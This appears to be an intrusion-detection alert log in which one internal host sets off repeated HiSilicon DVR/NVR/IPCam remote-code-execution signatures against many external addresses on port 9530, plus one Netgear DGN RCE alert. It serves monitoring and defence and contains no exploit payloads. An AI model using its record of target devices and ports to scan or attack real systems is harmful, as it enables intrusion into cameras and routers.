Timestamp:	05/16/24-16:39:12.383627
SID:	2030487
Source Port:	36272
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 57.167.15.28

Timestamp:	05/16/24-16:38:50.063972
SID:	2030488
Source Port:	42828
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 163.226.184.7

Timestamp:	05/16/24-16:38:55.217685
SID:	2030487
Source Port:	56536
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 163.226.184.7

Timestamp:	05/16/24-16:38:55.217685
SID:	2030488
Source Port:	56536
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 155.41.31.71

Timestamp:	05/16/24-16:38:59.588207
SID:	2030488
Source Port:	58790
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 155.41.31.71

Timestamp:	05/16/24-16:38:59.588207
SID:	2030487
Source Port:	58790
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 45.113.30.223

Timestamp:	05/16/24-16:39:16.585504
SID:	2030488
Source Port:	47738
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 45.113.30.223

Timestamp:	05/16/24-16:39:16.585504
SID:	2030487
Source Port:	47738
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 199.80.104.226

Timestamp:	05/16/24-16:39:02.748785
SID:	2030487
Source Port:	34302
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 199.80.104.226

Timestamp:	05/16/24-16:39:02.748785
SID:	2030488
Source Port:	34302
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 19.124.214.19

Timestamp:	05/16/24-16:39:05.699572
SID:	2030488
Source Port:	42820
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 19.124.214.19

Timestamp:	05/16/24-16:39:05.699572
SID:	2030487
Source Port:	42820
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 86.197.10.142

Timestamp:	05/16/24-16:39:16.605759
SID:	2030487
Source Port:	46402
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 86.197.10.142

Timestamp:	05/16/24-16:39:16.605759
SID:	2030488
Source Port:	46402
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 107.85.132.164

Timestamp:	05/16/24-16:38:50.048839
SID:	2030488
Source Port:	35076
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 107.85.132.164

Timestamp:	05/16/24-16:38:50.048839
SID:	2030487
Source Port:	35076
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 36.161.167.201

Timestamp:	05/16/24-16:39:02.769749
SID:	2030488
Source Port:	41512
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 131.189.197.238

Timestamp:	05/16/24-16:39:08.124505
SID:	2030488
Source Port:	37426
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 36.161.167.201

Timestamp:	05/16/24-16:39:02.769749
SID:	2030487
Source Port:	41512
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 131.189.197.238

Timestamp:	05/16/24-16:39:08.124505
SID:	2030487
Source Port:	37426
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 195.222.90.0

Timestamp:	05/16/24-16:39:14.493532
SID:	2030488
Source Port:	52020
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 195.222.90.0

Timestamp:	05/16/24-16:39:14.493532
SID:	2030487
Source Port:	52020
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 92.182.181.168

Timestamp:	05/16/24-16:39:12.377454
SID:	2030488
Source Port:	47972
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 158.41.176.162

Timestamp:	05/16/24-16:39:16.598478
SID:	2030487
Source Port:	47402
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 158.41.176.162

Timestamp:	05/16/24-16:39:16.598478
SID:	2030488
Source Port:	47402
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 92.182.181.168

Timestamp:	05/16/24-16:39:12.377454
SID:	2030487
Source Port:	47972
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 157.77.73.252

Timestamp:	05/16/24-16:39:02.726886
SID:	2030487
Source Port:	53892
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 157.77.73.252

Timestamp:	05/16/24-16:39:02.726886
SID:	2030488
Source Port:	53892
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 94.40.244.201

Timestamp:	05/16/24-16:38:50.068350
SID:	2030488
Source Port:	44556
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 212.100.178.130

Timestamp:	05/16/24-16:38:57.443981
SID:	2030487
Source Port:	39260
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 94.40.244.201

Timestamp:	05/16/24-16:38:50.068350
SID:	2030487
Source Port:	44556
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 212.100.178.130

Timestamp:	05/16/24-16:38:57.443981
SID:	2030488
Source Port:	39260
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 161.51.172.219

Timestamp:	05/16/24-16:39:03.275890
SID:	2030488
Source Port:	46740
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 161.51.172.219

Timestamp:	05/16/24-16:39:03.275890
SID:	2030487
Source Port:	46740
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 39.167.51.86

Timestamp:	05/16/24-16:39:12.378500
SID:	2030488
Source Port:	52184
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 132.139.153.173

Timestamp:	05/16/24-16:38:50.047743
SID:	2030488
Source Port:	33084
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 150.36.207.243

Timestamp:	05/16/24-16:39:12.304031
SID:	2030487
Source Port:	56346
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 132.139.153.173

Timestamp:	05/16/24-16:38:50.047743
SID:	2030487
Source Port:	33084
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 150.36.207.243

Timestamp:	05/16/24-16:39:12.304031
SID:	2030488
Source Port:	56346
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 18.71.96.174

Timestamp:	05/16/24-16:39:16.576791
SID:	2030488
Source Port:	43430
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 39.167.51.86

Timestamp:	05/16/24-16:39:12.378500
SID:	2030487
Source Port:	52184
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 18.71.96.174

Timestamp:	05/16/24-16:39:16.576791
SID:	2030487
Source Port:	43430
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 97.9.211.201

Timestamp:	05/16/24-16:39:02.761665
SID:	2030487
Source Port:	56244
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 133.144.169.111

Timestamp:	05/16/24-16:39:12.380134
SID:	2030487
Source Port:	41482
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 97.9.211.201

Timestamp:	05/16/24-16:39:02.761665
SID:	2030488
Source Port:	56244
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 135.173.96.126

Timestamp:	05/16/24-16:38:53.011458
SID:	2030487
Source Port:	58840
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 135.173.96.126

Timestamp:	05/16/24-16:38:53.011458
SID:	2030488
Source Port:	58840
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 13.223.224.149

Timestamp:	05/16/24-16:39:02.726987
SID:	2030488
Source Port:	32906
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 4.44.10.214

Timestamp:	05/16/24-16:39:14.518549
SID:	2030487
Source Port:	39714
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 13.223.224.149

Timestamp:	05/16/24-16:39:02.726987
SID:	2030487
Source Port:	32906
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 4.44.10.214

Timestamp:	05/16/24-16:39:14.518549
SID:	2030488
Source Port:	39714
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 146.224.187.20

Timestamp:	05/16/24-16:39:14.517518
SID:	2030488
Source Port:	35258
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 146.224.187.20

Timestamp:	05/16/24-16:39:14.517518
SID:	2030487
Source Port:	35258
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 201.0.61.38

Timestamp:	05/16/24-16:38:59.520009
SID:	2030488
Source Port:	46452
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 198.29.206.201

Timestamp:	05/16/24-16:39:05.705358
SID:	2030488
Source Port:	42878
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 198.29.206.201

Timestamp:	05/16/24-16:39:05.705358
SID:	2030487
Source Port:	42878
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 201.0.61.38

Timestamp:	05/16/24-16:38:59.520009
SID:	2030487
Source Port:	46452
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 133.144.169.111

Timestamp:	05/16/24-16:39:12.380134
SID:	2030488
Source Port:	41482
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 2.253.114.101

Timestamp:	05/16/24-16:39:05.713739
SID:	2030488
Source Port:	44758
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 166.231.177.252

Timestamp:	05/16/24-16:39:12.380672
SID:	2030488
Source Port:	52464
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 166.231.177.252

Timestamp:	05/16/24-16:39:12.380672
SID:	2030487
Source Port:	52464
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 202.77.125.83

Timestamp:	05/16/24-16:39:08.041070
SID:	2030487
Source Port:	52060
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 2.253.114.101

Timestamp:	05/16/24-16:39:05.713739
SID:	2030487
Source Port:	44758
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 70.243.140.91

Timestamp:	05/16/24-16:39:14.493489
SID:	2030487
Source Port:	55402
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 70.243.140.91

Timestamp:	05/16/24-16:39:14.493489
SID:	2030488
Source Port:	55402
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 79.175.141.221

Timestamp:	05/16/24-16:39:16.600108
SID:	2030488
Source Port:	47268
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 79.175.141.221

Timestamp:	05/16/24-16:39:16.600108
SID:	2030487
Source Port:	47268
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 118.75.195.243

Timestamp:	05/16/24-16:39:03.276931
SID:	2030488
Source Port:	33580
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 118.75.195.243

Timestamp:	05/16/24-16:39:03.276931
SID:	2030487
Source Port:	33580
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 222.34.72.224

Timestamp:	05/16/24-16:39:08.127195
SID:	2030487
Source Port:	45364
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 222.34.72.224

Timestamp:	05/16/24-16:39:08.127195
SID:	2030488
Source Port:	45364
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 191.211.132.26

Timestamp:	05/16/24-16:39:08.127906
SID:	2030487
Source Port:	46546
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 167.220.201.50

Timestamp:	05/16/24-16:39:02.767175
SID:	2030487
Source Port:	42170
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 191.211.132.26

Timestamp:	05/16/24-16:39:08.127906
SID:	2030488
Source Port:	46546
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 192.84.85.222

Timestamp:	05/16/24-16:39:14.510040
SID:	2030488
Source Port:	39678
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 199.62.168.27

Timestamp:	05/16/24-16:39:16.585526
SID:	2030488
Source Port:	59338
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 192.84.85.222

Timestamp:	05/16/24-16:39:14.510040
SID:	2030487
Source Port:	39678
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 199.62.168.27

Timestamp:	05/16/24-16:39:16.585526
SID:	2030487
Source Port:	59338
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 153.68.93.102

Timestamp:	05/16/24-16:39:16.605123
SID:	2030488
Source Port:	38532
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 153.68.93.102

Timestamp:	05/16/24-16:39:16.605123
SID:	2030487
Source Port:	38532
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 157.209.135.195

Timestamp:	05/16/24-16:39:05.702496
SID:	2030488
Source Port:	40424
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Code Execution - Source IP: 192.168.2.23 - Destination IP: 51.38.6.128

Timestamp:	05/16/24-16:39:09.560216
SID:	2034576
Source Port:	52858
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 157.209.135.195

Timestamp:	05/16/24-16:39:05.702496
SID:	2030487
Source Port:	40424
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 202.77.125.83

Timestamp:	05/16/24-16:39:08.041070
SID:	2030488
Source Port:	52060
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 2.87.54.51

Timestamp:	05/16/24-16:39:16.578972
SID:	2030488
Source Port:	38916
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 146.28.40.182

Timestamp:	05/16/24-16:39:16.603128
SID:	2030487
Source Port:	51894
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 2.87.54.51

Timestamp:	05/16/24-16:39:16.578972
SID:	2030487
Source Port:	38916
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 146.28.40.182

Timestamp:	05/16/24-16:39:16.603128
SID:	2030488
Source Port:	51894
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 142.35.121.25

Timestamp:	05/16/24-16:39:08.126405
SID:	2030487
Source Port:	47830
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 202.215.125.22

Timestamp:	05/16/24-16:39:12.403762
SID:	2030487
Source Port:	60710
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 181.184.115.140

Timestamp:	05/16/24-16:38:53.011215
SID:	2030488
Source Port:	50732
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 93.26.53.91

Timestamp:	05/16/24-16:39:14.528262
SID:	2030487
Source Port:	46838
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 155.122.198.98

Timestamp:	05/16/24-16:39:05.702390
SID:	2030487
Source Port:	51722
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 202.215.125.22

Timestamp:	05/16/24-16:39:12.403762
SID:	2030488
Source Port:	60710
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 93.26.53.91

Timestamp:	05/16/24-16:39:14.528262
SID:	2030488
Source Port:	46838
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 155.122.198.98

Timestamp:	05/16/24-16:39:05.702390
SID:	2030488
Source Port:	51722
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 181.184.115.140

Timestamp:	05/16/24-16:38:53.011215
SID:	2030487
Source Port:	50732
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 168.124.28.21

Timestamp:	05/16/24-16:39:03.280098
SID:	2030487
Source Port:	59276
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 142.233.234.76

Timestamp:	05/16/24-16:39:02.749201
SID:	2030488
Source Port:	43694
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

